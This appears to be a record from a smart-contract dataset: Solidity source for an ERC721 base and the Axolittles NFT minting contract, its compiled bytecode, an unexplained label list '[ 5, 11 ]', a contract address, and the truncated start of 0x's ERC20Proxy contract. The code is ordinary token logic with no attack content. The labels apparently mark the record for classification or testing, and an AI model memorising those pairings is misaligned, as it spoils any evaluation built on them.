Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File contracts/Axolittles.sol // SHA256: EFB6E06BEDED5D5D286FD426867ABFCFBC6D3781EE7AB8E46B4A6C8C8EC75D39 /** # # # # # #### # # ##### ##### # ###### #### # # # # # # # # # # # # # # # ## # # # # # # # ##### #### ####### ## # # # # # # # # # # # # # # # # # # # # # # # # # # # #### ###### # # # ###### ###### #### */ pragma solidity ^0.8.7; contract Axolittles is ERC721, Ownable { uint public mintPrice = 0.07 ether; // Mutable by owner uint public maxItems = 10000; uint public totalSupply = 0; uint public maxItemsPerTx = 10; // Mutable by owner string public _baseTokenURI; bool public publicMintPaused = false; uint public startTimestamp = 1630944000; // Monday, September 6, 2021 at 12pm Eastern event Mint(address indexed owner, uint indexed tokenId); constructor() ERC721("Axolittles", "AXOLITTLE") {} receive() external payable {} function giveawayMint(address to, uint amount) external onlyOwner { _mintWithoutValidation(to, amount); } function publicMint() external payable { require(block.timestamp >= startTimestamp, "publicMint: Not open yet"); require(!publicMintPaused, "publicMint: Paused"); uint remainder = msg.value % mintPrice; uint amount = msg.value / mintPrice; require(remainder == 0, "publicMint: Send a divisible amount of eth"); require(amount <= maxItemsPerTx, "publicMint: Surpasses maxItemsPerTx"); _mintWithoutValidation(msg.sender, amount); } function _mintWithoutValidation(address to, uint amount) internal { require(totalSupply + amount <= maxItems, "mintWithoutValidation: Sold out"); for (uint i = 0; i < amount; i++) { _mint(to, totalSupply); emit Mint(to, totalSupply); totalSupply += 1; } } function isOpen() external view returns (bool) { return block.timestamp >= startTimestamp && !publicMintPaused && totalSupply < maxItems; } // ADMIN FUNCTIONALITY function setStartTimestamp(uint _startTimestamp) external onlyOwner { startTimestamp = _startTimestamp; } function setMintPrice(uint _mintPrice) external onlyOwner { mintPrice = _mintPrice; } function setPublicMintPaused(bool _publicMintPaused) external onlyOwner { publicMintPaused = _publicMintPaused; } function setMaxItemsPerTx(uint _maxItemsPerTx) external onlyOwner { maxItemsPerTx = _maxItemsPerTx; } function setBaseTokenURI(string memory __baseTokenURI) external onlyOwner { _baseTokenURI = __baseTokenURI; } /** * @dev Withdraw the contract balance to the dev address or splitter address */ function withdraw() external onlyOwner { sendEth(owner(), address(this).balance); } function sendEth(address to, uint amount) internal { (bool success,) = to.call{value: amount}(""); require(success, "Failed to send ether"); } // METADATA FUNCTIONALITY /** * @dev Returns a URI for a given token ID's metadata */ function tokenURI(uint256 _tokenId) public view override returns (string memory) { return string(abi.encodePacked(_baseTokenURI, Strings.toString(_tokenId))); } }
0x6080604052600436106101e75760003560e01c80636352211e11610102578063b88d4fde11610095578063e6fd48bc11610064578063e6fd48bc14610533578063e985e9c514610549578063f2fde38b14610592578063f4a0a528146105b257600080fd5b8063b88d4fde146104be578063c44bef75146104de578063c87b56dd146104fe578063cfc86f7b1461051e57600080fd5b80637a4e5715116100d15780637a4e57151461044b5780638da5cb5b1461046b57806395d89b4114610489578063a22cb4651461049e57600080fd5b80636352211e146103e05780636817c76c1461040057806370a0823114610416578063715018a61461043657600080fd5b806330176e131161017a5780633c010a3e116101495780633c010a3e146103805780633ccfd60b1461039657806342842e0e146103ab57806347535d7b146103cb57600080fd5b806330176e131461031057806330666a4d14610330578063339493481461034657806333d9d5fd1461036657600080fd5b8063095ea7b3116101b6578063095ea7b3146102a457806318160ddd146102c457806323b872dd146102e857806326092b831461030857600080fd5b806301ffc9a7146101f3578063048266241461022857806306fdde031461024a578063081812fc1461026c57600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b5061021361020e366004611a89565b6105d2565b60405190151581526020015b60405180910390f35b34801561023457600080fd5b50610248610243366004611a44565b610624565b005b34801561025657600080fd5b5061025f610665565b60405161021f9190611c51565b34801561027857600080fd5b5061028c610287366004611b0c565b6106f7565b6040516001600160a01b03909116815260200161021f565b3480156102b057600080fd5b506102486102bf366004611a44565b61078c565b3480156102d057600080fd5b506102da60095481565b60405190815260200161021f565b3480156102f457600080fd5b50610248610303366004611962565b6108a2565b6102486108d3565b34801561031c57600080fd5b5061024861032b366004611ac3565b610a5a565b34801561033c57600080fd5b506102da600a5481565b34801561035257600080fd5b50610248610361366004611a6e565b610a97565b34801561037257600080fd5b50600c546102139060ff1681565b34801561038c57600080fd5b506102da60085481565b3480156103a257600080fd5b50610248610ad4565b3480156103b757600080fd5b506102486103c6366004611962565b610b1b565b3480156103d757600080fd5b50610213610b36565b3480156103ec57600080fd5b5061028c6103fb366004611b0c565b610b61565b34801561040c57600080fd5b506102da60075481565b34801561042257600080fd5b506102da61043136600461190d565b610bd8565b34801561044257600080fd5b50610248610c5f565b34801561045757600080fd5b50610248610466366004611b0c565b610c93565b34801561047757600080fd5b506006546001600160a01b031661028c565b34801561049557600080fd5b5061025f610cc2565b3480156104aa57600080fd5b506102486104b9366004611a1a565b610cd1565b3480156104ca57600080fd5b506102486104d936600461199e565b610d96565b3480156104ea57600080fd5b506102486104f9366004611b0c565b610dce565b34801561050a57600080fd5b5061025f610519366004611b0c565b610dfd565b34801561052a57600080fd5b5061025f610e31565b34801561053f57600080fd5b506102da600d5481565b34801561055557600080fd5b5061021361056436600461192f565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561059e57600080fd5b506102486105ad36600461190d565b610ebf565b3480156105be57600080fd5b506102486105cd366004611b0c565b610f5a565b60006001600160e01b031982166380ac58cd60e01b148061060357506001600160e01b03198216635b5e139f60e01b145b8061061e57506301ffc9a760e01b6001600160e01b03198316145b92915050565b6006546001600160a01b031633146106575760405162461bcd60e51b815260040161064e90611cb6565b60405180910390fd5b6106618282610f89565b5050565b60606000805461067490611dab565b80601f01602080910402602001604051908101604052809291908181526020018280546106a090611dab565b80156106ed5780601f106106c2576101008083540402835291602001916106ed565b820191906000526020600020905b8154815290600101906020018083116106d057829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166107705760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b606482015260840161064e565b506000908152600460205260409020546001600160a01b031690565b600061079782610b61565b9050806001600160a01b0316836001600160a01b031614156108055760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b606482015260840161064e565b336001600160a01b038216148061082157506108218133610564565b6108935760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000606482015260840161064e565b61089d8383611061565b505050565b6108ac33826110cf565b6108c85760405162461bcd60e51b815260040161064e90611ceb565b61089d8383836111c6565b600d544210156109255760405162461bcd60e51b815260206004820152601860248201527f7075626c69634d696e743a204e6f74206f70656e207965740000000000000000604482015260640161064e565b600c5460ff161561096d5760405162461bcd60e51b81526020600482015260126024820152711c1d589b1a58d35a5b9d0e8814185d5cd95960721b604482015260640161064e565b60006007543461097d9190611e01565b905060006007543461098f9190611d54565b905081156109f25760405162461bcd60e51b815260206004820152602a60248201527f7075626c69634d696e743a2053656e64206120646976697369626c6520616d6f6044820152690eadce840decc40cae8d60b31b606482015260840161064e565b600a54811115610a505760405162461bcd60e51b815260206004820152602360248201527f7075626c69634d696e743a20537572706173736573206d61784974656d7350656044820152620e4a8f60eb1b606482015260840161064e565b6106613382610f89565b6006546001600160a01b03163314610a845760405162461bcd60e51b815260040161064e90611cb6565b805161066190600b9060208401906117d2565b6006546001600160a01b03163314610ac15760405162461bcd60e51b815260040161064e90611cb6565b600c805460ff1916911515919091179055565b6006546001600160a01b03163314610afe5760405162461bcd60e51b815260040161064e90611cb6565b610b19610b136006546001600160a01b031690565b47611366565b565b61089d83838360405180602001604052806000815250610d96565b6000600d544210158015610b4d5750600c5460ff16155b8015610b5c5750600854600954105b905090565b6000818152600260205260408120546001600160a01b03168061061e5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b606482015260840161064e565b60006001600160a01b038216610c435760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b606482015260840161064e565b506001600160a01b031660009081526003602052604090205490565b6006546001600160a01b03163314610c895760405162461bcd60e51b815260040161064e90611cb6565b610b196000611400565b6006546001600160a01b03163314610cbd5760405162461bcd60e51b815260040161064e90611cb6565b600a55565b60606001805461067490611dab565b6001600160a01b038216331415610d2a5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604482015260640161064e565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b610da033836110cf565b610dbc5760405162461bcd60e51b815260040161064e90611ceb565b610dc884848484611452565b50505050565b6006546001600160a01b03163314610df85760405162461bcd60e51b815260040161064e90611cb6565b600d55565b6060600b610e0a83611485565b604051602001610e1b929190611b6d565b6040516020818303038152906040529050919050565b600b8054610e3e90611dab565b80601f0160208091040260200160405190810160405280929190818152602001828054610e6a90611dab565b8015610eb75780601f10610e8c57610100808354040283529160200191610eb7565b820191906000526020600020905b815481529060010190602001808311610e9a57829003601f168201915b505050505081565b6006546001600160a01b03163314610ee95760405162461bcd60e51b815260040161064e90611cb6565b6001600160a01b038116610f4e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161064e565b610f5781611400565b50565b6006546001600160a01b03163314610f845760405162461bcd60e51b815260040161064e90611cb6565b600755565b60085481600954610f9a9190611d3c565b1115610fe85760405162461bcd60e51b815260206004820152601f60248201527f6d696e74576974686f757456616c69646174696f6e3a20536f6c64206f757400604482015260640161064e565b60005b8181101561089d57610fff83600954611583565b6009546040516001600160a01b038516907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688590600090a36001600960008282546110499190611d3c565b9091555081905061105981611de6565b915050610feb565b600081815260046020526040902080546001600160a01b0319166001600160a01b038416908117909155819061109682610b61565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166111485760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b606482015260840161064e565b600061115383610b61565b9050806001600160a01b0316846001600160a01b0316148061118e5750836001600160a01b0316611183846106f7565b6001600160a01b0316145b806111be57506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b03166111d982610b61565b6001600160a01b0316146112415760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b606482015260840161064e565b6001600160a01b0382166112a35760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b606482015260840161064e565b6112ae600082611061565b6001600160a01b03831660009081526003602052604081208054600192906112d7908490611d68565b90915550506001600160a01b0382166000908152600360205260408120805460019290611305908490611d3c565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b6000826001600160a01b03168260405160006040518083038185875af1925050503d80600081146113b3576040519150601f19603f3d011682016040523d82523d6000602084013e6113b8565b606091505b505090508061089d5760405162461bcd60e51b81526020600482015260146024820152732330b4b632b2103a379039b2b7321032ba3432b960611b604482015260640161064e565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b61145d8484846111c6565b611469848484846116c5565b610dc85760405162461bcd60e51b815260040161064e90611c64565b6060816114a95750506040805180820190915260018152600360fc1b602082015290565b8160005b81156114d357806114bd81611de6565b91506114cc9050600a83611d54565b91506114ad565b60008167ffffffffffffffff8111156114ee576114ee611e57565b6040519080825280601f01601f191660200182016040528015611518576020820181803683370190505b5090505b84156111be5761152d600183611d68565b915061153a600a86611e01565b611545906030611d3c565b60f81b81838151811061155a5761155a611e41565b60200101906001600160f81b031916908160001a90535061157c600a86611d54565b945061151c565b6001600160a01b0382166115d95760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604482015260640161064e565b6000818152600260205260409020546001600160a01b03161561163e5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604482015260640161064e565b6001600160a01b0382166000908152600360205260408120805460019290611667908490611d3c565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b60006001600160a01b0384163b156117c757604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611709903390899088908890600401611c14565b602060405180830381600087803b15801561172357600080fd5b505af1925050508015611753575060408051601f3d908101601f1916820190925261175091810190611aa6565b60015b6117ad573d808015611781576040519150601f19603f3d011682016040523d82523d6000602084013e611786565b606091505b5080516117a55760405162461bcd60e51b815260040161064e90611c64565b805181602001fd5b6001600160e01b031916630a85bd0160e11b1490506111be565b506001949350505050565b8280546117de90611dab565b90600052602060002090601f0160209004810192826118005760008555611846565b82601f1061181957805160ff1916838001178555611846565b82800160010185558215611846579182015b8281111561184657825182559160200191906001019061182b565b50611852929150611856565b5090565b5b808211156118525760008155600101611857565b600067ffffffffffffffff8084111561188657611886611e57565b604051601f8501601f19908116603f011681019082821181831017156118ae576118ae611e57565b816040528093508581528686860111156118c757600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b03811681146118f857600080fd5b919050565b803580151581146118f857600080fd5b60006020828403121561191f57600080fd5b611928826118e1565b9392505050565b6000806040838503121561194257600080fd5b61194b836118e1565b9150611959602084016118e1565b90509250929050565b60008060006060848603121561197757600080fd5b611980846118e1565b925061198e602085016118e1565b9150604084013590509250925092565b600080600080608085870312156119b457600080fd5b6119bd856118e1565b93506119cb602086016118e1565b925060408501359150606085013567ffffffffffffffff8111156119ee57600080fd5b8501601f810187136119ff57600080fd5b611a0e8782356020840161186b565b91505092959194509250565b60008060408385031215611a2d57600080fd5b611a36836118e1565b9150611959602084016118fd565b60008060408385031215611a5757600080fd5b611a60836118e1565b946020939093013593505050565b600060208284031215611a8057600080fd5b611928826118fd565b600060208284031215611a9b57600080fd5b813561192881611e6d565b600060208284031215611ab857600080fd5b815161192881611e6d565b600060208284031215611ad557600080fd5b813567ffffffffffffffff811115611aec57600080fd5b8201601f81018413611afd57600080fd5b6111be8482356020840161186b565b600060208284031215611b1e57600080fd5b5035919050565b60008151808452611b3d816020860160208601611d7f565b601f01601f19169290920160200192915050565b60008151611b63818560208601611d7f565b9290920192915050565b600080845481600182811c915080831680611b8957607f831692505b6020808410821415611ba957634e487b7160e01b86526022600452602486fd5b818015611bbd5760018114611bce57611bfb565b60ff19861689528489019650611bfb565b60008b81526020902060005b86811015611bf35781548b820152908501908301611bda565b505084890196505b505050505050611c0b8185611b51565b95945050505050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090611c4790830184611b25565b9695505050505050565b6020815260006119286020830184611b25565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b60008219821115611d4f57611d4f611e15565b500190565b600082611d6357611d63611e2b565b500490565b600082821015611d7a57611d7a611e15565b500390565b60005b83811015611d9a578181015183820152602001611d82565b83811115610dc85750506000910152565b600181811c90821680611dbf57607f821691505b60208210811415611de057634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415611dfa57611dfa611e15565b5060010190565b600082611e1057611e10611e2b565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b031981168114610f5757600080fdfea26469706673582212209b4dd6ed2a34e57ccbacf7507c6579f0bab1449bd0bafce1b3fcdac06c6906fc64736f6c63430008070033
[ 5, 11 ]
0xf36457e052Be9543a6F3b3603B3F7c7a3c53be5e
/* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.5.9; import "../archive/MixinAuthorizable.sol"; contract ERC20Proxy is MixinAuthorizable { // Id of this proxy. bytes4 constant internal PROXY_ID = bytes4(keccak256("ERC20Token(address)")); // solhint-disable-next-line payable-fallback function () external { assembly { // The first 4 bytes of calldata holds the function selector let selector := and(calldataload(0), 0xffffffff00000000000000000000000000000000000000000000000000000000) // `transferFrom` will be called with the following parameters: // assetData Encoded byte array. // from Address to transfer asset from. // to Address to transfer asset to. // amount Amount of asset to transfer. // bytes4(keccak256("transferFrom(bytes,address,address,uint256)")) = 0xa85e59e4 if eq(selector, 0xa85e59e400000000000000000000000000000000000000000000000000000000) { // To lookup a value in a mapping, we load from the storage location keccak256(k, p), // where k is the key left padded to 32 bytes and p is the storage slot let start := mload(64) mstore(start, and(caller, 0xffffffffffffffffffffffffffffffffffffffff)) mstore(add(start, 32), authorized_slot) // Revert if authorized[msg.sender] == false if iszero(sload(keccak256(start, 64))) { // Revert with `Error("SENDER_NOT_AUTHORIZED")` mstore(0, 0x08c379a000000000000000000000000000000000000000000000000000000000) mstore(32, 0x0000002000000000000000000000000000000000000000000000000000000000) mstore(64, 0x0000001553454e4445525f4e4f545f415554484f52495a454400000000000000) mstore(96, 0) revert(0, 100) } // `transferFrom`. // The function is marked `external`, so no abi decodeding is done for // us. Instead, we expect the `calldata` memory to contain the // following: // // | Area | Offset | Length | Contents | // |----------|--------|---------|-------------------------------------| // | Header | 0 | 4 | function selector | // | Params | | 4 * 32 | function parameters: | // | | 4 | | 1. offset to assetData (*) | // | | 36 | | 2. from | // | | 68 | | 3. to | // | | 100 | | 4. amount | // | Data | | | assetData: | // | | 132 | 32 | assetData Length | // | | 164 | ** | assetData Contents | // // (*): offset is computed from start of function parameters, so offset // by an additional 4 bytes in the calldata. // // (**): see table below to compute length of assetData Contents // // WARNING: The ABIv2 specification allows additional padding between // the Params and Data section. This will result in a larger // offset to assetData. // Asset data itself is encoded as follows: // // | Area | Offset | Length | Contents | // |----------|--------|---------|-------------------------------------| // | Header | 0 | 4 | function selector | // | Params | | 1 * 32 | function parameters: | // | | 4 | 12 + 20 | 1. token address | // We construct calldata for the `token.transferFrom` ABI. // The layout of this calldata is in the table below. // // | Area | Offset | Length | Contents | // |----------|--------|---------|-------------------------------------| // | Header | 0 | 4 | function selector | // | Params | | 3 * 32 | function parameters: | // | | 4 | | 1. from | // | | 36 | | 2. to | // | | 68 | | 3. amount | /////// Read token address from calldata /////// // * The token address is stored in `assetData`. // // * The "offset to assetData" is stored at offset 4 in the calldata (table 1). // [assetDataOffsetFromParams = calldataload(4)] // // * Notes that the "offset to assetData" is relative to the "Params" area of calldata; // add 4 bytes to account for the length of the "Header" area (table 1). // [assetDataOffsetFromHeader = assetDataOffsetFromParams + 4] // // * The "token address" is offset 32+4=36 bytes into "assetData" (tables 1 & 2). // [tokenOffset = assetDataOffsetFromHeader + 36 = calldataload(4) + 4 + 36] let token := calldataload(add(calldataload(4), 40)) /////// Setup Header Area /////// // This area holds the 4-byte `transferFrom` selector. // Any trailing data in transferFromSelector will be // overwritten in the next `mstore` call. mstore(0, 0x23b872dd00000000000000000000000000000000000000000000000000000000) /////// Setup Params Area /////// // We copy the fields `from`, `to` and `amount` in bulk // from our own calldata to the new calldata. calldatacopy(4, 36, 96) /////// Call `token.transferFrom` using the calldata /////// let success := call( gas, // forward all gas token, // call address of token contract 0, // don't send any ETH 0, // pointer to start of input 100, // length of input 0, // write output over input 32 // output size should be 32 bytes ) /////// Check return data. /////// // If there is no return data, we assume the token incorrectly // does not return a bool. In this case we expect it to revert // on failure, which was handled above. // If the token does return data, we require that it is a single // nonzero 32 bytes value. // So the transfer succeeded if the call succeeded and either // returned nothing, or returned a non-zero 32 byte value. success := and(success, or( iszero(returndatasize), and( eq(returndatasize, 32), gt(mload(0), 0) ) )) if success { return(0, 0) } // Revert with `Error("TRANSFER_FAILED")` mstore(0, 0x08c379a000000000000000000000000000000000000000000000000000000000) mstore(32, 0x0000002000000000000000000000000000000000000000000000000000000000) mstore(64, 0x0000000f5452414e534645525f4641494c454400000000000000000000000000) mstore(96, 0) revert(0, 100) } // Revert if undefined function is called revert(0, 0) } } /// @dev Gets the proxy id associated with the proxy address. /// @return Proxy id. function getProxyId() external pure returns (bytes4) { return PROXY_ID; } } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR 